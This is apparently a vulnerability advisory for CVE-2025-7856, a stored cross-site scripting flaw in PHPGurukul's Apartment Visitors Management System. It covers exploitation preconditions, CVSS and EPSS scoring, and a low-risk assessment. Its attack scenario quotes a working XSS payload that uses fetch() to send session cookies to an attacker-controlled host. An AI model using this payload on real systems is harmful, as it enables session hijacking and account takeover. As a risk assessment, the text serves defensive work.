PHPGurukul Apartment Visitors Management System CVE-2025-7856

Exploitation requires: (1) valid authentication credentials for the Apartment Visitors Management System (PR:L - low privilege level), (2) ability to submit or modify a visitor pass entry with the visname parameter via HTTP POST request to pass-details.php, (3) user interaction - the malicious payload only executes when another authenticated user views the crafted pass details page. The vulnerability is limited to authenticated users and does not affect unauthenticated external visitors. The attack does not provide code execution on the server itself, only script execution in victim browsers. Default installations with no special configuration are vulnerable - no non-default settings are required to enable the vulnerability, but attackers must first authenticate to the system.

This vulnerability presents LOW real-world risk despite being a confirmed XSS issue. The CVSS v4.0 score of 2.0 reflects multiple limiting factors: authentication is required (PR:L), user interaction is necessary (UI:P), and the impact is limited to integrity of responses (VI:L with VC:N, VA:N, SA:N). The EPSS score of 0.05% (16th percentile) indicates exploitation is statistically unlikely in the wild, despite public exploit availability. The combination of authentication requirement, user interaction necessity, and low impact explains the disconnect between 'publicly available exploit' and very low EPSS. This is a typical stored XSS in an administrative/business system where an authenticated attacker could craft a malicious pass entry to target other staff or visitors, but would require them to click or interact with the crafted content. The risk is primarily to data integrity and user trust rather than system compromise. Organizations using this system should prioritize patching only if the application handles sensitive visitor data or is exposed to untrusted internal users.

An authenticated staff member with access to add or edit visitor pass details enters a malicious script payload such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' in the visname field. When another staff member or administrator views the pass details, the script executes in their browser, stealing their session cookie or redirecting them to a phishing site. The attacker could then use the stolen session to escalate privileges or access additional visitor records. Public exploit code from GitHub demonstrates this exact technique.